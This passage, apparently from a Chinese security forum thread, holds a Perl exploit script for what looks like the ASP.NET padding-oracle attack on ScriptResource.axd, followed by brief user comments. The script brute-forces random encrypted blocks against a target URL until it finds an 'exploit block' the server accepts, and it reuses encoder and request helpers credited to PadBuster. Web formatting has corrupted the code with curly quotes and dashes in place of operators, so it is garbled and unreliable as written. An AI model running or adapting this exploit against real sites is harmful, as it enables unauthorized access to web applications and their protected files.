d1ARvno0iSA6Ez7Z0GEAmAy3BpX8a2 16“;}my $method = “GET”;$sampleBytes = encoder($sampleBytes, 1);my $testBytes = “\x00″ x $blockSize;my $counter = 0;# Use random bytesmy @nums = (0..255);my $status = 1; while ($status) { # Fuzz the test bytes for (my $byteNum = $blockSize – 1; $byteNum >= 0; $byteNum–) { substr($testBytes, $byteNum, 1, chr($nums[rand(@nums)])); } # Combine the test bytes and the sample my $combinedTestBytes = encoder($testBytes.$sampleBytes, 0); chomp($combinedTestBytes); $combinedTestBytes =~ s/\%0A//g; # Ok, now make the request my ($status, $content, $location, $contentLength) = makeRequest($method, $testUrl.$combinedTestBytes); if ($status == “200”) { # Remove this for “T” exploit if (index($content,”parent\.Sys\.Application”) == -1) { print $content.”\n\n”; print “Total Requests:”.$counter.”\n\n”; print “Resulting Exploit Block:”.$combinedTestBytes.”\n\n”; last; } } $counter++; }# The following code is taken from PadBuster. Credit: Brian Holyfield – Gotham Digital Science## I also did the encoder / decoder, but your logic is definitely bettersub encoder{my ($toEncodeDecode, $oper) = @_; # UrlDecoder Encoder if ($oper == 1) {$toEncodeDecode =~ s/\-/\+/g;$toEncodeDecode =~ s/\_/\//g;my $count = chop($toEncodeDecode);$toEncodeDecode = $toEncodeDecode.(“=” x int($count));$returnVal = decode_base64($toEncodeDecode); } else {$b64Encoded = encode_base64($toEncodeDecode);$b64Encoded =~ s/(\r|\n)//g;$b64Encoded =~ s/\+/\-/g;$b64Encoded =~ s/\//\_/g;my $count = $b64Encoded =~ s/\=//g;($count eq “”) ? ($count = 0) : “”;$returnVal = $b64Encoded.$count; } return $returnVal;}sub makeRequest { my ($method, $url) = @_; my ($lwp, $status, $content, $req, $location, $contentLength); # Setup LWP UserAgent $lwp = LWP::UserAgent->new(env_proxy => 1, keep_alive => 1, timeout => 30, requests_redirectable => [], ); $req = new HTTP::Request $method => $url; my $response = $lwp->request($req); # Extract the required attributes from the response $status = substr($response->status_line, 0, 3); $content = $response->content; #print $content; $location = $response->header(“Location”); if ($location eq “”) { $location = “N/A”; } $contentLength = $response->header(“Content-Length”); return ($status, $content, $location, $contentLength);}</code>

  16. 2015-03-25 22:42 | MyKings ( 普通白帽子 | Rank:114 漏洞数:24 )

    https://github.com/GDSSecurity/PadBuster

  17. 2015-03-26 08:34 | 403 ( 普通白帽子 | Rank:111 漏洞数:10 | 菜鸟一名)

    @MyKings 顶

  18. 2015-03-26 12:15 | F0rm ( 路人 | Rank:0 漏洞数:2 | )

    真心没利用成功过,不过看到过挺多这个的